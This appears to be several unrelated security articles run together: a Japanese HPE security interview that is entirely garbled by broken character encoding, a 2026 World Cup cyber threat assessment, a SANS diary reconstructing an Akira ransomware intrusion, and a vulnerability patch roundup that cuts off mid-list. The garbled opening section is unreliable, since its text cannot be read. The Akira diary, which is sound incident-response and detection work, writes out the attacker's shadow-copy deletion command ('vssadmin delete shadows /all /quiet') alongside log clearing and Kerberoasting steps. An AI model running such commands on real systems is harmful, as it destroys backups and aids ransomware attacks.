Systems�ɂ́A�s�ϐ��i�C�~���[�^�u���j��WORM�@�\���������邱�ƂŁA�Г��̐l�Ԃɂ��s���ȃf�[�^�������������f�[�^��ی�ł���_�����݂ł��B�č������W���Z�p�������̃f�[�^�j���W���uSP 800-88 Rev.2�v�ɂ��������Ă��܂��B �X�c�@����̒S���҂�CISO�i�ō����Z�L�����e�B�ӔC�ҁj���L������F�߂Ă��A�o�c�w�̏��F�ő����݂���Ƃ����b�͂悭�����܂��B�Z�L�����e�B��ւ̓�������������ۂ́A�u���Ƃ�1����~�����ꍇ�̑��Q�z�v����̓I�Ɏ��Z���ׂ��ł��B���ݓI�ȃ��X�N�Ƒ���p���r���邱�ƂŁA�����̑Ó��������m�ɂȂ�܂��B �����@�C���V�f���g�������ɂ́A�V�X�e��������p�ɂƂǂ܂炸�A�ٌ�m��p�A�L��Ή���p�A���i�̏o�ג�~�ɔ����ɂւ̉e���ȂǁA�r��ȃR�X�g���������܂��B��Q���ǂ�قǂ̉e���͈͂ɋy�Ԃ̂��A�����Ɍ����Ăǂꂾ���̐l�������̂����v�Z����A�u�����𑁂߁A�������ŏ������邽�߂̔����v�ւ̓����͌����č����Ȃ��Ƃ������肢��������͂��ł��B �\�\�l�b�g���[�N�̈�ɂ�����AHPE�̃Z�L�����e�B�헪�ɂ��Ă��f���܂����B �X�c�@�]���̓��[�U�[��Ƃ̑g�D�\���Ƃ��āA�l�b�g���[�N�S���ƃZ�L�����e�B�S���̕�����������Ă��邱�Ƃ���ʓI�ł������A�ُ팟�m���̑Ή��Ɏ��Ԃ�v����ۑ肪����܂����B�������Ȃ���A�l�b�g���[�N�ƃZ�L�����e�B�̕������ꌳ�Ǘ������߂�P�[�X�͏��X�ɑ����Ă��܂��B���Ђ����N���Ă��铝���Ǘ���Ղɂ��A�v���ȃC���V�f���g�Ή����\�ɂȂ�܂��B �����@HPE��2023�N��Axis Security�����āA����N���E�h�Z�L�����e�B�̈�̐��i���C���A�b�v���[�������Ă��܂��ˁB�����Ɗ����̃l�b�g���[�N���i�Ƃ̘A�g�́A�ǂ̂悤�ɐi�����Ă��܂����B �X�c�@�Ǐ��I�ȃZ�L�����e�B�ł͂Ȃ��A�l�b�g���[�N�S�̂�ʂƑ������Z�L�����e�B��i�߂Ă��܂��BHPE���i���̘A�g�͂������̂��ƁA���А��i�Ƃ̘A�g���d�v�����Ă���A�Ⴆ�Α���SASE���i�Ƃ�VPN�̈Í����v���g�R���uIPsec�v�ŃZ�L���A�ɐڑ��\�ł��B �@�l�b�g���[�N�ƃZ�L�����e�B�̉^�p�Ǘ��c�[���ɂ́uHPE Juniper Networking Mist�v��uHPE Aruba Networking Central�v������AAI�@�\�̋����ɓw�߂Ă��܂��B���[�U�[�̊����d�����āA�Z�L�����e�B���x�����������S�ʼn��K�ȃl�b�g���[�N���̒�i�߂Ă��܂��B �����@�o�b�N�A�b�v�ƃZ�L�����e�B���i�̘A�g�ɂ��Ă͂������ł��傤���B �����@HPE Zerto Software�́ACrowdStrike�̓���EDR���i��AHPE Aruba Networking Central��IDS�^IPS�i�s���N�����m�^�h�~�j�����m�����u�s�R�ȋ����̃^�C���X�^���v�v��API�o�R�Ŏ�荞�߂܂��B����ɂ��A�U�����{�i�����钼�O�̃N���[���ȏ�Ԃ���肵�ăX���[�Y�ɕ����ł��܂��B���l�̋@�\�A�g��HPE Networking�u�����h���ŏ����g�傷��\��ł��B�b�P�ʂ̕����|�C���g������HPE Zerto Software�ƁA���x�Ȍ��m�A���[�g��g�ݍ��킹�邱�ƂŁA���m���Ȏ��ƌp���̐��Ɋ�^���܂��B �X�c�@�����ɂ����Ă�����d�v�Ȃ̂́A�f�[�^��߂����u�Ԃɓ����Ǝ�i�������Ⴍ�j����˂���Ȃ��悤�ɂ��邽�߂ɁA�U���������������邱�Ƃł��BJuniper SRX�V���[�Y�͖��m�Ȃ鋺�Ђɑ��ăC�����C���ō����ɖh��ł���AI/ML���f���𓋍ڂ��A�U����������A���q���܂̊��ɍ��킹���J�X�^���V�O�l������Ɏ����쐬����@�\������܂��B �����@�}���E�F�A���������f�[�^��A�Í������ꂽ�f�[�^���܂߂���ԂŃV�X�e�������Ă��܂����Ƃ������Ȃ�������܂���ˁBHPE Zerto Software�ɂ͕��������������z�}�V�������S�Ȋu�����ŗ����グ�A���g�����O�Ɋm�F�ł���@�\������܂��B�b�P�ʂŕ����|�C���g��I�ׂ鋭�݂����āA�m���ɃN���[���ȏ�Ԃ��ǂ������m�F���Ă��畜�����邱�Ƃ͏d�v�ł��B �\�\���Ԃł́u�Z�L�����e�B��Ƃ�����EDR�v�Ƃ�������������܂����A���Ƃ̎��_�ł͂������ł��傤���B �X�c�@�G���h�|�C���g�Z�L�����e�B�͂������d�v�ł����A�ߔN�͍U���҂�EDR���̂̃v���Z�X���������Č��m���������܂�����A�l�b�g���[�N�w�ł̌��m�E�Ւf�Ƃ̑g�ݍ��킹�͕s���ł��BJuniper SRX�V���[�Y�́A�]����IPS�A�A���`�E�C���X�AURL�t�B���^�����O�A�T���h�{�b�N�X�A���ЃC���e���W�F���X�ɉ����āAAI/ML���f���̎����㌟�m�G���W���̋@�\����g���āA���Ђ������ɓ��B����O�Ɏ����I�ɎՒf���܂��B �����@���͏��Z�L�����e�B�Ɋւ��鍑�ۋK�iISO27001�̓����č����Ƃ��Ă��������Ă��܂��B���̌o������\���グ��ƁA�Z�L�����e�B��̓c�[�������ďI���ł͂���܂���B���X�N�A�Z�X�����g��ʂ���IT���Y�ɗD�揇�ʂ�t���A�d�v�x�ɉ������K���ȗ\�Z��z������Ƃ����헪�I�Ȏ��_�����߂��܂��B �����@�Ǝ��ƑԂɂ���Ă��A���ׂ����Y�⋖�e�ł���_�E���^�C���͈قȂ�܂��B���ƌp�����ŗD��ɍl�����Ƃ��AHPE���i�Q�̑��w�I�ȑg�ݍ��킹�́A�����I�ŋ��͂ȑI�����ɂȂ�ł��傤�B������SB C&S�̓f�B�X�g���r���[�^�[�Ƃ��āA���q���܂��ƂɈقȂ�œK�������Ɍ����o���A�����x���������܂��B Copyright © ITmedia, Inc. All Rights Reserved. �FSB C&S������ЁA���{�q���[���b�g�E�p�b�J�[�h������� �A�C�e�B���f�B�A�c�Ɗ��^����F��IT �ҏW���^�f�ړ��e�L�������F2026�N6��22��

The 2026 FIFA World Cup will be the largest sporting event ever staged. Across 39 days, 16 host cities in three nations will host 104 matches, an expanded 48-team tournament and an estimated five-to-six million in-venue spectators alongside a global broadcast audience approaching half the planet. The tournament opens at Estadio Azteca in Mexico City on June 11, 2026, and concludes at MetLife Stadium in East Rutherford, New Jersey, on July 19, 2026. This is the first World Cup to be jointly hosted by three nations. Each match runs on a temporary, multi-ring tournament network grafted onto pre-existing NFL, MLS, CFL and Liga MX stadium environments. It depends on a network of municipal services, including public transit, signalized traffic, water and wastewater treatment, regional power, airport operations and emergency services. Each of those touchpoints is in scope for an adversary. Based on a review of cyber operations against prior mega-events from 2016 through the Milano-Cortina 2026 Winter Games, this assessment finds that disruptive intrusions, criminal fraud at scale and politically motivated distributed denial-of-service (DDoS) and hack-and-leak operations are highly likely. The only meaningful questions are who, against which targets and at what severity. There are three drivers in the 2026 World Cup risk picture: Iran-nexus activity. The U.S.–Israel–Iran kinetic conflict that began on Feb. 28, 2026 has reordered the threat surface for any U.S.-hosted event. The Handala Hack Team, assessed by the U.S. Federal Bureau of Investigation (FBI) and multiple commercial threat intelligence firms to be a front for Iran's Ministry of Intelligence and Security (MOIS), executed significant wiper attacks in early 2026. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) published a joint advisory AA26-097A confirming an active, ongoing Iranian-affiliated campaign. The campaign targets internet-exposed Rockwell Automation and Allen-Bradley programmable logic controllers (PLCs) in U.S. critical infrastructure, as well as Islamic Revolutionary Guard Corps (IRGC) targeting of Israeli-made Unitronics Vision Series PLCs at U.S. water, energy and municipal targets. These are the same categories of infrastructure that World Cup host cities will be operating under tournament load. Russia-nexus hacktivism. Since 2022, NoName057(16) has conducted over 3,700 verified DDoS attacks against governments and critical sectors in NATO member states. Documented surges keyed to politically symbolic events including the NATO Summit, the Ukraine Peace Summit and claims of intent at the Paris 2022 Olympics and the Milano Cortina 2026 Winter Olympics. Operation Eastwood (July 2025) disrupted but did not eliminate the group. The UK NCSC confirmed continued operations into 2026. The U.S., Canada and Mexico are NATO partners or allies and the World Cup is a politically symbolic event of the highest order. Financially motivated cybercrime. Group-IB identified more than 16,000 fraudulent domains and 90 compromised Hayya fan-portal accounts during World Cup 2022 in Qatar. The 2023 Muddled Libra (operators of ALPHV aka BlackCat ransomware) campaign against entertainment organizations demonstrated that the hospitality stack is a target for ransomware operators. The stack includes reservations, digital keys, point-of-sale (PoS) machines and loyalty data. Ticket fraud, accommodation fraud, transportation QR-code fraud and FanID-equivalent account takeover are prime targets at scale across all three host nations. The Paris 2024 Olympics is a strong example of a recent precedent. French authorities (ANSSI) confirmed at least 140 cyber events during the Games, including 22 confirmed unauthorized intrusions and a ransomware attack against the Grand Palais venue. None succeeded in disrupting competition, but only because of preparation that began years earlier. Preparation included exercises against 500 Games-linked facilities, and support by sustained government-industry coordination. The 2026 tournament must clear the same bar across multiple jurisdictions, regulatory bodies and languages. The Bottom Line Defenders should plan against the possibility of all of the following: Cybercriminals targeting fans and the hospitality supply chain Iran-nexus disruptive operations against ancillary U.S. infrastructure during the tournament window Pro-Russian and pro-Iran hacktivist DDoS and defacement targeting of host-city, federation and ticketing services A wiper deployed against tournament IT during a high-visibility ceremony Previous Attacks Against Major International Sporting Events Table 1. Previous attacks against major sporting events. Cybercriminal Threats to Fans and the Tournament Supply Chain Financially motivated cybercrime is the highest-volume, highest-likelihood threat category for the 2026 FIFA World Cup Games. Ticket Fraud and FanID-equivalent Account Takeover Based on the Qatar 2022 Games, there are five categories of ticket-themed fraud: Lookalike resale sites Fake social-media reseller accounts Lottery/giveaway phishing Fake mobile applications on official app stores Credential-stuffing attacks against the official fan portal Hospitality and Accommodation Fraud Attacks against hospitality businesses and platforms, digital key infrastructure, point of sale (PoS) and identity providers and fake short-term rental properties are another potential area of risk. QR-Code, Transportation and PoS Fraud Tournament-specific QR-code fraud is the single fastest-growing variant. There have already been observed pre-tournament listing scams, and a high potential for fake shuttle passes, parking permits and official fan transport QR codes that fail when scanned. The geographic spread of the 2026 games in various cities multiplies opportunities for transit-themed fraud relative to single-host-city games. Phishing, Malware and Lure Themes Confirmed lure themes from prior tournaments include: Lottery winnings Ticket cancellations FIFA dispute-resolution decisions Accreditation problems FanID issues Free streaming Counterfeit merchandise Expect to see typosquatted FIFA domains, malicious mobile applications, infostealers sold on Telegram, and Telegram-based reseller channels moving money via peer-to-peer payment apps as seen in Table 2. Table 2. Cybercriminal techniques that are possible during the World Cup. Geopolitical Threats: Iran-Nexus and Disruptive Hacktivism The geopolitical context for the 2026 tournament is materially different from any prior World Cup. The U.S.-Israel-Iran conflict has produced a surge in Iran-nexus cyber operations against U.S. organizations. The Russia-Ukraine war and the resulting NATO alignment of all three host nations make pro-Russian hacktivism an additional, parallel risk. Iran-Nexus: The Handala Hack Team The Handala Hack Team (aka Banished Kitten, Storm-0842, Void Manticore and Cobalt Mystique) and Ababil of Minab, are just two of several front personas operated by Iran's MOIS directly responsible for wiper attacks, targeting high-level government officials, and doxxing employees of public companies. Iran-Nexus: CyberAv3ngers and OT Targeting CyberAv3ngers (aka Shahid Kaveh Group, Bauxite, Hydro Kitten, Storm-0784 and UNC5691) is the IRGC Cyber-Electronic Command's industrial-control-system arm. Its documented escalation curve is the single most important data point for defenders concerned with municipal infrastructure during the FIFA World Cup 2026. Every World Cup host city in the United States operates municipal water, wastewater and energy infrastructure inside this advisory's threat envelope. A 2024 CISA assessment found over 70% non-compliance with existing safety requirements at U.S. water utilities. Iran-Nexus: Other Personas and the Electronic Operations Room Beyond Handala and CyberAv3ngers, multiple Iran-aligned personas — DieNet, APTIran, Cyber Toufan, Cyber Support Front, Iranian Avenger, Cyb3r Drag0nz — have been observed operating through a team named the Electronic Operations Room of Islamic Resistance Axis. This team formed in late February 2026. DieNet has specifically claimed DDoS attacks against Bahrain and Saudi airports and Jordanian banks — transportation and finance targets directly relevant to fan-facing infrastructure. Russia-Nexus: NoName057(16) and Allied Hacktivists NoName057(16) has been the most operationally consistent pro-Russian hacktivist group since March 2022, with an attributed 3,700-plus targeted hosts to the group between July 2024 and July 2025. The UK NCSC, Eurojust and Europol issued co-sealed advisories in December 2025 and January 2026 regarding the hacktivist group. Operation Eastwood produced two arrests and seven arrest warrants but did not stop the group, which resumed activity within days. Three operational characteristics are directly relevant to 2026: Event-keying: DDoSia operations have repeatedly surged in the 24-72 hours surrounding politically symbolic events. Volunteer-driven scale: DDoSia rewards volunteer participants with cryptocurrency and runs on Windows, Linux, Android and Docker. OT expansion: A co-sealed advisory and subsequent UK NCSC alert specifically warns that pro-Russian hacktivists have moved beyond DDoS into operational technology (OT) targeting via exposed VNC and remote-access services. Information Operations Major global sporting events have proven fertile ground for state-sponsored information operations aimed at sowing distrust in institutions, embarrassing athletes or nations, and amplifying narratives conducive to strategic interests. Russian influence operations are well established with past reported activities surrounding leaked athlete data, AI-enabled deception and defaming, delegitimization of Ukraine and Ukrainian athletes, narratives of the West against Russia, and pro-Kremlin narratives. The current conflict in Iran opens the door for potential Iran-based narrative amplification, consistent with its observed hybrid offensive approach, specifically aimed at compounding the division of support for kinetic activity and targeting countries or athletes from Gulf states perceived as adversarial. People’s Republic of China-aligned Dragonbridge has increasingly experimented with and deployed generative AI tools — such as synthetic audio, AI-generated news hosts, avatars, and images — to scale its political influence operations across social media, though these efforts have ultimately failed to garner significant organic engagement from authentic viewers. Temporary Multi-City Tournament Infrastructure FIFA's published tournament structure presents a unique and historically large attack surface. Sixteen host cities span three host nations, four time zones and multiple regulatory regimes. Each match operates a layered, ring-based tournament network grafted onto a permanent stadium environment, depends on a temporary commercial supplier ecosystem and pulls on host-city public services that FIFA does not own. Table 3 lists these rings and the primary cyber risk to each. Table 3. Network rings and use cases. The 2026 supplier ecosystem will be vast. Each host city contracts independently for stadium operations, security, transit, hospitality, food service, signage, fan-zone production and last-mile network connectivity. The Pyeongchang 2018 Olympic Destroyer destructive case is a clear historical warning: Recorded Future identified that Olympic Destroyer samples targeting the IT service provider were timestamped five minutes ahead of samples targeting the host. Impact on Municipal, State and Federal Infrastructure CISA AA26-097A identifies “Government Services and Facilities (to include local municipalities)” as one of three named target sectors of the active Iran-nexus PLC campaign. Analysis of CyberAv3ngers' targeting found that small municipal authorities are deliberately selected because they manage OT with consumer remote-access tools or expose PLC interfaces directly to the internet. A January 2024 Russian cyberattack on a municipality in Texas resulted in successfully overflowing a water tank after unsuccessful attempts in neighboring water systems. Ransomware attacks on water systems have also occurred. Pro-Russian hacktivist DDoS has already demonstrated the ability to take state and local government websites offline for hours. UK NCSC's January 2026 alert specifically called out persistent NoName057(16) targeting of UK local-government services. The U.S., Canadian and Mexican equivalents are inside the same threat envelope. Federal Layer Federal agencies have signaled awareness: CISA AA26-097A, the DOJ domain-seizure activity against Iranian cyber fronts and the U.S. State Department's $10 million reward offers indicate active coordination. Defenders should expect and request pre-tournament threat-sharing engagements with CISA, FBI, the Canadian Centre for Cyber Security and Mexico's CERT-MX, mirroring the model that ANSSI ran in advance of Paris 2024. Cascading-Risk Scenarios Two specific scenarios merit pre-tournament tabletop exercise. OT Disruption at Host-City Utility During Match Scenario: An Iran-nexus actor manipulates a wastewater PLC in a host city overnight before a knockout match, producing a service alert and a forced public-health advisory. Mitigation Pre-tournament audit of all internet-exposed PLCs per CISA AA26-097A Mandated migration off TeamViewer/AnyDesk for OT Default-credential audits 24/7 OT incident-response retainer Hospitality Ransomware in Final Week Scenario: A Muddled Libra-style social-engineering campaign against a major host-city hotel operator collapses room access, mobile check-in and PoS for 48-72 hours during the run-up to the July 19, 2026, final at MetLife Stadium. Mitigation Pre-tournament tabletop exercises with major hotel groups Explicit verification protocols on IT help desks Segregation of IdP trust from ESXi management Offline runbooks for the property-management system Prioritized Threat Matrix The following matrix in Table 4 consolidates the assessed likelihood and severity of each evidence-backed threat vector for the tournament window of June 11-July 19, 2026. Severity is conditioned on the potential impact to fans, host cities and the integrity of the competition. Table 4. Prioritized threat matrix of likely cyberattacks. Recommendations These recommendations are derived from the threat picture above and from public after-action reporting on Paris 2024 and Milan-Cortina 2026. They are prioritized by impact rather than by category. For the tournament organization and host-city committees Stand up a single, multi-jurisdictional cyber operations center with U.S. CISA, the Canadian Centre for Cyber Security, Mexico's CERT-MX, the FBI, the RCMP and Mexican federal cyber liaison co-located or fully integrated, replicating the ANSSI/Paris 2024 model. Inventory the full vendor and supplier graph for each host city and conduct credential-rotation, default-password and remote-access audits across that graph. Prioritize IT service providers and venue operations, which Recorded Future identified as Pyeongchang's primary breach vector. Mandate that no tournament network, at any ring, permits consumer remote-access tools on production infrastructure for the duration of the tournament window. Pre-position DDoS scrubbing capacity, content-delivery-network failover and rate-limiting on all fan-facing domains. NoName057(16) DDoS volumes during Paris 2024 peaked at 190,000 requests/second; defenders should plan for an order of magnitude above that. Run a destructive-malware tabletop. Validate that backups are isolated, immutable and recoverable inside a four-hour window. For host-city utilities and municipal operators Audit every internet-exposed PLC, HMI and SCADA component in water, wastewater, energy and transit operations. Apply CISA AA26-097A and AA23-335A guidance specifically: Change all default credentials, place PLCs behind segmented firewalls and eliminate direct internet exposure on ports 44818, 2222, 102, 22 and 502. Engage the FBI, CISA and EPA for sector-specific assessments before kickoff. Where budget is constrained, a single round of vulnerability scans focused on the AA26-097A indicator set is high value. Establish 24/7 OT incident response coverage through the entire tournament window. For hospitality and venue operators in host metros Treat the IT help desk as the first line of defense and the most likely point of compromise. Implement out-of-band caller-verification protocols; ban credential resets initiated by phone alone; assume that publicly identifiable employees are reconnaissance targets. Segregate identity-provider trust from VMware ESXi management. Previous compromises pivoted from Okta to ESXi to ransomware; that pivot path must be broken architecturally before the tournament, not during it. Maintain offline runbooks for property-management, PoS, digital-key and reservation systems. Confirm pen-and-paper fallback works under load. For sponsors, federations and broadcast partners Assume executive personal accounts are in scope for state-aligned hack-and-leak operations. Apply phishing-resistant MFA (FIDO2/WebAuthn) to all corporate, executive and high-visibility employee accounts before kickoff. SMS and TOTP MFA are insufficient against the demonstrated tradecraft of Scattered Spider and Handala. Pre-build communications response templates for hack-and-leak scenarios; do not draft them under live attack. For fans and the traveling public Buy tickets only on the official FIFA platform or a FIFA-authorised resale partner. Do not buy through Telegram, WhatsApp, social media DMs or peer-to-peer payment apps. Use a credit card with chargeback protection. Verify accommodation listings with major platforms; treat off-platform wire transfers and cryptocurrency requests as fraud. Cross-reference street view and listing photos. Treat any QR code presented in transit, parking or fan-zone contexts with skepticism. Cross-check with the host city's official transportation app or website before scanning. On public Wi-Fi, use a reputable VPN for any account-level activity; better still, use cellular data. Disable Wi-Fi auto-join; remove networks after use. Patch mobile devices. Avoid sideloading apps. Verify every FIFA app against the FIFA-published list of official applications. Final Thoughts The window for shifting from preparation to live response is closing fast. The 2026 FIFA World Cup conditions are different than at any previous tournament: three host nations, sixteen host cities, a 48-team field, an active U.S.-Israel-Iran kinetic conflict, an ongoing Russia-NATO confrontation and a cybercriminal ecosystem that has industrialized against the hospitality sector since 2023. The threat actors of greatest concern for 2026 — the Handala Hack Team, CyberAv3ngers, NoName057(16), Muddled Libra, ALPHV affiliates and the broader Iran- and Russia-aligned hacktivist ecosystem — have all demonstrated their capabilities within the last 24 months. This has been proven in public record by what these actors have already accomplished. Plan for incidents across the full supplier and host-city graph, exercise the response against realistic scenarios and coordinate across jurisdictions before kickoff rather than during the tournament. Where that posture has been adopted, the historical record shows that competition has not been disrupted. Where it has been weaker, adversaries have succeeded. The single most important defender posture for 2026 is to assume the attacks will come. Additional Resources Analysis of domains taking advantage of FIFA World Cup – Timely Threat Intelligence, Unit 42 on GitHub Understanding the Russian Cyberthreat to the 2026 Winter Olympics – Unit 42, Palo Alto Networks 2026 Unit 42 Global Incident Response Report – Unit 42, Palo Alto Networks

by Manuel Humberto Santander Pelaez (Version: 1) Most Akira write-ups focus on the ransom note or the encryption routine. By the time those show up the interesting forensic work is over. The questions that matter to defenders sit earlier. How did they get in. When did they get domain admin. What did they touch before the binary fired. Those answers live in the days before impact. They sit in two log sources that almost never get joined. The perimeter firewall and the Windows event channel. This diary walks through a recent Akira-attributed intrusion at a mid-sized organization. The reconstruction used only SSLVPN syslog and Windows EVTX exports. No EDR. No memory captures. Every identifier in the post has been anonymized. The event types and sequencing are preserved exactly as observed. The setup The environment was a single-site Active Directory forest behind a perimeter NGFW. SSLVPN gave remote access to a small workforce. We started the engagement with the following sources available: Firewall syslog covering roughly seven days before the encryption event. Authentication, IPS and traffic categories were retained. EVTX exports from both domain controllers and three member servers. Channels covered were Security, System and Microsoft-Windows-PowerShell/Operational. The ransom note text file and a sample of encrypted files. Used only to confirm attribution. No EDR. No PCAP. No proxy logs. This is a representative starting point for many small and mid-sized organizations. It is also why the joinable signal between the firewall and the Windows event channels matters so much. Stage 1: Initial access The first useful signal came from the firewall authentication log. We filtered SSLVPN events for the 72 hours before the encryption event. An unambiguous brute-force pattern jumped out. It targeted a single local SSLVPN account. The customer confirmed later that the account had been disabled in Active Directory. It remained provisioned as a local firewall user. Two details from Figure 1 deserve a closer look. The brute force was not distributed. Every failure came from a single source IP in a hosting-provider range. One IPS rule or a geo-block would have stopped it. The successful authentication landed inside the ramp. There was no pause to test the credential. The attacker walked straight in once one matched. That is the behavioral fingerprint of credential stuffing against a known target. Mapping this to the firewall vendor known SSLVPN credential exposure issue is plausible. It is not strictly provable from the logs we had. What is provable is this. The local account had no MFA. It had been deprovisioned in AD but not in the firewall. Its password survived a six-hour online attack. Stages 2 and 3: Discovery and credential access Once on the VPN the attacker had a layer-3 path into the user VLAN. The pivot point to internal evidence was the firewall NAT log. It gave us the post-VPN source IP and the relevant time window. We joined that window against the Windows Security channel. The first internal events of interest were EID 4624 logons from the VPN-assigned IP to a jump host. The customer confirmed the jump host was used by legitimate remote administrators. What followed was textbook discovery activity. All of it was visible in EID 4688 process creation events. About 24 hours later a cluster of EID 4769 events appeared against three service accounts. All RC4-encrypted. All from the jump host. All inside a 90-second window. That combination is the signature pattern for Kerberoasting. It is also the cheapest detection any AD-joined organization can deploy. Stage 4: Lateral movement Lateral movement spread across two days and used RDP almost exclusively. The relevant pattern is the well-known EID 4624 Logon Type 10 cluster. Successful logons originated from the jump host. Targets included the file server, both domain controllers and the backup server. EID 4672 followed each domain-controller logon. The attacker now held domain-level privilege. Two artifacts from this phase deserve attention. The attacker created a new account in a non-default OU. They added it to a built-in group using its Well-Known SID rather than the localized group name. That is a small but reliable indicator. The operator was scripting for environment portability and not working interactively in the local language. Several PowerShell sessions ran with the -EncodedCommand flag. Once decoded the contents showed reconnaissance against backup infrastructure and shadow-copy state. That is pre-staging for the impact stage. Worth alerting on by itself. Stages 5 and 6 defense evation and impact The final 12 hours collapsed into a rapid sequence. The Security event log on the jump host was cleared. That is EID 1102. Several endpoint protection services were stopped using sc.exe and net stop. We saw this in System EID 7036. A vssadmin delete shadows /all /quiet ran across every reachable host. Encryption followed within minutes. Figure 2 shows the full sequence. The time distribution in Figure 2 matters more than the sequence. The encryption event is what the customer sees. It represents maybe five percent of the total dwell time. The other 95 percent is where defensive opportunity sits. Almost all of it was visible in logs the customer already had. Why joining the sources matter Most defenders treat perimeter logs and endpoint event logs as two separate problems handled by two separate teams. Figure 3 shows what that separation costs. Each stage of this intrusion was visible in only one of the two sources at high confidence. An analyst working only the firewall syslog would have caught the brute force and the successful login. Nothing past that. An analyst working only EVTX would have seen anomalous internal behavior with no anchor for the entry point. The joined view turns two partial accounts into one full kill chain. The pivot field is source IP. The axis is normalized time. The join itself is trivial. The expensive parts are retention and time synchronization. In this engagement the firewall retained seven days of syslog. The Windows event channels had been left at default sizes. EID 4688 had already rolled off the jump host by the time analysis started. Recovery required reaching back into a single off-host log forwarder. Detection and hunting guidance Concrete actions any organization can implement immediately. All of them come straight from the patterns above. Local SSLVPN accounts. Inventory them. Enforce MFA. Reconcile against the directory of record. A deprovisioned-in-AD-but-not-in-the-firewall account is the most common initial-access pathway in this class of intrusion. Authentication failure thresholds. Alert on more than 50 failed SSLVPN authentications from a single source in any one-hour window. The brute force in Figure 1 would have tripped this in 30 minutes. EID 4688 process auditing. Enable it on every Windows host. Set the Security log size to at least 1 GB. Default sizes are why discovery activity disappears before responders arrive. EID 4769 anomaly detection. Alert on RC4 tickets requested for multiple SPNs in a short window from a single workstation. Cheapest Kerberoasting detection that exists. EID 1102 security log cleared. Any occurrence is incident-grade. Forward this event off-host before anything else. vssadmin and wmic shadowcopy command-line auditing. Alert on any execution. Legitimate use is rare. Ransomware use is universal. Time synchronization. Every host including the firewall should sync to the same authoritative NTP source. Without aligned timestamps any join of perimeter and endpoint evidence becomes guesswork. ATT&CK Mapping The full TTP set observed in this intrusion mapped to the following ATT&CK techniques: Closing thoughts Akira is not a sophisticated adversary. The kill chain reconstructed here is trivial: Brute force a forgotten local VPN account. Run nltest and net group. Roast a service account. RDP around. Clear logs. Delete shadows. Encrypt. Nothing in that sequence is novel. Nothing in it requires advanced detection. What it requires is the discipline to retain perimeter and endpoint logs long enough to be joined and the willingness to actually join them when something goes wrong. Every step of this intrusion was visible in logs the organization already owned. The work of incident response was not finding new signal. It was reading signal that had been sitting there the whole time. Manuel Humberto Santander Peláez SANS Internet Storm Center - Handler X: @manuelsantander Mastodon:[email protected] email:

Ivanti, Fortinet, n8n, SAP, and VMware have released security fixes for various vulnerabilities that could be exploited by bad actors to bypass authentication and execute arbitrary code. Topping the list is a critical flaw impacting Ivanti Xtraction (CVE-2026-8043, CVSS score: 9.6) that could be exploited to achieve information disclosure or client-side attacks. "External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks," Ivanti said in an advisory. Fortinet published advisories for two critical shortcomings affecting FortiAuthenticator and FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS that could result in code execution - CVE-2026-44277 (CVSS score: 9.1) - An improper access control vulnerability in FortiAuthenticator that may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests. (Fixed in FortiAuthenticator versions 6.5.7, 6.6.9, and 8.0.3) CVE-2026-26083 (CVSS score: 9.1) - A missing authorization vulnerability in FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS WEB UI that may allow an unauthenticated attacker to execute unauthorized code or commands via HTTP requests. (Fixed in FortiSandbox versions 4.4.9 and 5.0.2, FortiSandbox Cloud version 5.0.6, and FortiSandbox PaaS versions 4.4.9. and 5.0.2) SAP also shipped fixes for two critical vulnerabilities - CVE-2026-34260 (CVSS score: 9.6) - An SQL injection vulnerability in SAP S/4HANA CVE-2026-34263 (CVSS score: 9.6) - A missing authentication check in the SAP Commerce cloud configuration "The vulnerability is caused by an overly permissive security configuration with improper rule ordering, allowing an unauthenticated user to perform malicious configuration upload and code injection, resulting in arbitrary server-side code execution," Onapsis said about CVE-2026-34263. On the other hand, CVE-2026-34260 could be exploited by an attacker to inject malicious SQL statements and potentially impact the confidentiality and availability of the application. However, since the affected code only allows read access to data, the vulnerability does not compromise the integrity of the application. "It allows a low-privileged, authenticated attacker to inject malicious SQL code via user-controlled input, potentially exposing sensitive database information and crashing the application," Pathlock said. Patches have also been released by Broadcom for a high-severity flaw in VMware Fusion (CVE-2026-41702, CVSS score: 7.8) that could pave the way for local privilege escalation. The issue has been addressed in version 26H1. "VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary," Broadcom said. "A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed." Round off the list is a set of five critical vulnerabilities impacting n8n - CVE-2026-42231 (CVSS score: 9.4) - A vulnerability in the xml2js library used to parse XML request bodies in n8n's webhook handler that allows prototype pollution via a crafted XML payload, enabling an authenticated user with permission to create or modify workflows to achieve remote code execution on the n8n host. (Fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1) CVE-2026-42232 (CVSS score: 9.4) - An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node, leading to remote code execution when combined with other nodes exploiting the prototype pollution. (Fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1) CVE-2026-44791 (CVSS score: 9.4) - A bypass for CVE-2026-42232 that could result in remote code execution on the n8n host. (Fixed in n8n versions 1.123.43, 2.20.7, and 2.22.1) CVE-2026-44789 (CVSS score: 9.4) - An authenticated user with permission to create or modify workflows could achieve global prototype pollution via an unvalidated pagination parameter in the HTTP Request node, leading to remote code execution on the n8n host. (Fixed in n8n versions 1.123.43, 2.20.7, and 2.22.1) CVE-2026-44790 (CVSS score: 9.4) - An authenticated user with permission to create or modify workflows could inject CLI flags on the Git node's Push operation, enabling an attacker to read arbitrary files from the n8n server and resulting in full compromise. (Fixed in n8n versions 1.123.43, 2.20.7, and 2.22.1) Software Patches from Other Vendors Security updates have also been released by other vendors over the past several weeks to rectify various vulnerabilities, including - ABB Adobe Amazon Web Services AMD Apple ASUS Atlassian Axis Communications AVEVA Canon Cisco CODESYS ConnectWise Dell Devolutions Drupal F5 Fortra Foxit Software Fujitsu GitLab GnuTLS Google Android and Pixel Google Chrome Google Cloud Grafana Hikvision Hitachi Energy Honeywell HP HP Enterprise (including Aruba Networking and Juniper Networks) Huawei IBM Intel Jenkins Lenovo Linux distributions AlmaLinux, Alpine Linux, Amazon Linux, Arch Linux, Debian, Gentoo, Oracle Linux, Mageia, Red Hat, Rocky Linux, SUSE, and Ubuntu MediaTek Meta WhatsApp Microsoft Mitel Mitsubishi Electric 